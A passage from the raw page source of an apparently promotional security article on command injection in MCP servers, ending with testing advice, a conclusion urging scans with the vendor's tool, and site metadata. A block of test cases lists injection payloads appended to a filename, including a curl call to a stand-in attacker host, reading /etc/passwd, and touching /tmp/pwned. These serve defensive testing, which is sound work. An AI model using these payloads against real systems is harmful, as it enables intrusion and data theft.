119deQL, or language-specific analyzers.\"]}],[\"$\",\"li\",null,{\"className\":\"mb-3\",\"children\":[[\"$\",\"strong\",null,{\"children\":\"Penetration Testing\"}],\" - Conduct regular penetration testing on your MCP servers with a focus on command injection. Try inputs with special characters like \",[\"$\",\"code\",null,{\"children\":\";\"}],\", \",[\"$\",\"code\",null,{\"children\":\"|\"}],\", \",[\"$\",\"code\",null,{\"children\":\"\u0026\"}],\", \",[\"$\",\"code\",null,{\"children\":\"$$()\"}],\", and \",[\"$\",\"code\",null,{\"children\":\"''\"}],\" to see if they're properly handled.\"]}],[\"$\",\"li\",null,{\"className\":\"mb-3\",\"children\":[[\"$\",\"strong\",null,{\"children\":\"Automated Security Testing\"}],\" - Integrate security testing into your CI/CD pipeline to catch vulnerabilities before deployment.\"]}],[\"$\",\"li\",null,{\"className\":\"mb-3\",\"children\":[[\"$\",\"strong\",null,{\"children\":\"MCP-Specific Testing\"}],\" - Use MCPScan.ai to regularly scan your servers for command injection vulnerabilities specifically in the context of MCP tool implementations.\"]}]]}],[\"$\",\"div\",null,{\"className\":\"bg-gray-900/60 p-5 rounded-lg border border-blue-500/20 my-6\",\"children\":[[\"$\",\"div\",null,{\"className\":\"flex items-center mb-3\",\"children\":[[\"$\",\"span\",null,{\"className\":\"text-blue-400 mr-2\",\"children\":[\"$\",\"svg\",null,{\"xmlns\":\"http://www.w3.org/2000/svg\",\"fill\":\"none\",\"viewBox\":\"0 0 24 24\",\"strokeWidth\":1.5,\"stroke\":\"currentColor\",\"className\":\"w-6 h-6\",\"children\":[[\"$\",\"path\",null,{\"d\":\"M8 9l3 3-3 3M13 15h3\",\"strokeLinecap\":\"round\",\"strokeLinejoin\":\"round\"}],[\"$\",\"rect\",null,{\"x\":\"3\",\"y\":\"3\",\"width\":\"18\",\"height\":\"18\",\"rx\":\"2\",\"strokeLinecap\":\"round\",\"strokeLinejoin\":\"round\"}]]}]}],[\"$\",\"h3\",null,{\"className\":\"text-lg font-semibold text-white mt-0\",\"children\":\"Command Injection Test Cases\"}]]}],[\"$\",\"p\",null,{\"className\":\"text-gray-300\",\"children\":\"Here are some test values to try with your MCP tools that might process or execute commands:\"}],[\"$\",\"pre\",null,{\"className\":\"bg-gray-900/80 p-3 rounded overflow-x-auto text-sm my-3\",\"children\":[\"$\",\"code\",null,{\"className\":\"text-gray-300\",\"children\":\"input_file.txt; ls -la\\ninput_file.txt \u0026\u0026 echo \\\"VULNERABLE\\\"\\ninput_file.txt || curl http://attacker.com\\ninput_file.txt `id`\\ninput_file.txt $(cat /etc/passwd)\\ninput_file.txt \u003e /tmp/test\\ninput_file.txt | grep password\\n*;touch /tmp/pwned\"}]}],[\"$\",\"p\",null,{\"className\":\"text-gray-300\",\"children\":\"If any of these inputs cause unexpected command execution, your MCP server is vulnerable to command injection.\"}]]}],[\"$\",\"h2\",null,{\"className\":\"text-2xl font-bold text-white mt-10 mb-4\",\"children\":\"Conclusion\"}],[\"$\",\"p\",null,{\"children\":\"Command injection vulnerabilities in MCP servers represent a significant security risk, especially as these servers often operate with elevated permissions and process potentially untrusted inputs coming through LLM tool usage. Our research shows that nearly a quarter of publicly accessible MCP servers contain some form of command injection vulnerability.\"}],[\"$\",\"p\",null,{\"children\":\"By following the best practices outlined in this article—using array-based command execution, implementing strict input validation, replacing shell commands with library functions, applying the principle of least privilege, and implementing proper error handling—you can significantly reduce the risk of command injection in your MCP server implementations.\"}],[\"$\",\"p\",null,{\"children\":\"Regular security scanning with MCPScan.ai can help identify vulnerabilities in your MCP servers before they can be exploited, ensuring that your AI systems operate securely and responsibly.\"}],[\"$\",\"div\",null,{\"className\":\"bg-gray-900/60 p-5 rounded-lg border border-green-500/20 my-8\",\"children\":[[\"$\",\"h3\",null,{\"className\":\"text-lg font-semibold text-white\",\"children\":\"Ready to secure your MCP servers?\"}],[\"$\",\"p\",null,{\"className\":\"text-gray-300 mb-4\",\"children\":\"Use MCPScan.ai to check for c
119ommand injection and other vulnerabilities in your Model Context Protocol implementations.\"}],[\"$\",\"$L4\",null,{\"href\":\"/#scan-input-section\",\"className\":\"inline-block px-6 py-3 bg-green-500/90 text-white font-medium rounded hover:bg-green-600/90 focus:outline-none transition-all shadow-lg shadow-green-800/20 no-underline\",\"children\":\"Scan Your MCP Server Now\"}]]}]]}]]}]}],[\"$\",\"footer\",null,{\"className\":\"py-6 border-t border-green-500/20 text-center text-xs text-gray-500\",\"children\":[\"$\",\"div\",null,{\"className\":\"container mx-auto px-6\",\"children\":[\"© \",2025,\" mcpscan\",[\"$\",\"span\",null,{\"className\":\"text-green-400\",\"children\":\".ai\"}],\" All rights reserved.\"]}]}]]}],[\"$\",\"$L5\",null,{\"children\":\"$L6\"}],null,[\"$\",\"$L7\",null,{\"children\":[\"$L8\",\"$L9\",[\"$\",\"$La\",null,{\"promise\":\"$@b\"}]]}]]}],{},null,false]},null,false]},null,false]},null,false],[\"$\",\"$1\",\"h\",{\"children\":[null,[\"$\",\"$1\",\"ufHM_gH6HX3u3aC2q9Pk6\",{\"children\":[[\"$\",\"$Lc\",null,{\"children\":\"$Ld\"}],[\"$\",\"meta\",null,{\"name\":\"next-size-adjust\",\"content\":\"\"}]]}],null]}],false]],\"m\":\"$undefined\",\"G\":[\"$e\",\"$undefined\"],\"s\":false,\"S\":true}\n"])</script>
119<script>self.__next_f.push([1,"f:\"$Sreact.suspense\"\n10:I[74911,[],\"AsyncMetadata\"]\n6:[\"$\",\"$f\",null,{\"fallback\":null,\"children\":[\"$\",\"$L10\",null,{\"promise\":\"$@11\"}]}]\n"])</script>
119<script>self.__next_f.push([1,"9:null\n"])</script>
119<script>self.__next_f.push([1,"d:[[\"$\",\"meta\",\"0\",{\"charSet\":\"utf-8\"}],[\"$\",\"meta\",\"1\",{\"name\":\"viewport\",\"content\":\"width=device-width, initial-scale=1\"}]]\n8:null\n"])</script>
119<script>self.__next_f.push([1,"11:{\"metadata\":[[\"$\",\"title\",\"0\",{\"children\":\"mcpscan.ai - MCP Security Scanner\"}],[\"$\",\"meta\",\"1\",{\"name\":\"description\",\"content\":\"Your security scanner for Model Context Protocol (MCP) servers. Scan for common vulnerabilities and ensure your data and agents are safe.\"}],[\"$\",\"meta\",\"2\",{\"property\":\"og:title\",\"content\":\"mcpscan.ai - MCP Security Scanner\"}],[\"$\",\"meta\",\"3\",{\"property\":\"og:description\",\"content\":\"Your security scanner for Model Context Protocol (MCP) servers. Scan for common vulnerabilities and ensure your data and agents are safe.\"}],[\"$\",\"meta\",\"4\",{\"property\":\"og:url\",\"content\":\"https://mcpscan.ai\"}],[\"$\",\"meta\",\"5\",{\"property\":\"og:site_name\",\"content\":\"mcpscan.ai\"}],[\"$\",\"meta\",\"6\",{\"property\":\"og:image\",\"content\":\"https://mcpscan.ai/og-image.png\"}],[\"$\",\"meta\",\"7\",{\"property\":\"og:type\",\"content\":\"website\"}],[\"$\",\"meta\",\"8\",{\"name\":\"twitter:card\",\"content\":\"summary_large_image\"}],[\"$\",\"meta\",\"9\",{\"name\":\"twitter:creator\",\"content\":\"@mcpscanai\"}],[\"$\",\"meta\",\"10\",{\"name\":\"twitter:title\",\"content\":\"mcpscan.ai - MCP Security Scanner\"}],[\"$\",\"meta\",\"11\",{\"name\":\"twitter:description\",\"content\":\"Your security scanner for Model Context Protocol (MCP) servers. Scan for common vulnerabilities and ensure your data and agents are safe.\"}],[\"$\",\"meta\",\"12\",{\"name\":\"twitter:image\",\"content\":\"https://mcpscan.ai/twitter-image.png\"}],[\"$\",\"link\",\"13\",{\"rel\":\"icon\",\"href\":\"/favicon.ico\"}]],\"error\":null,\"digest\":\"$undefined\"}\nb:{\"metadata\":\"$11:metadata\",\"error\":null,\"digest\":\"$undefined\"}\n"])</script>
119</body></html>

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.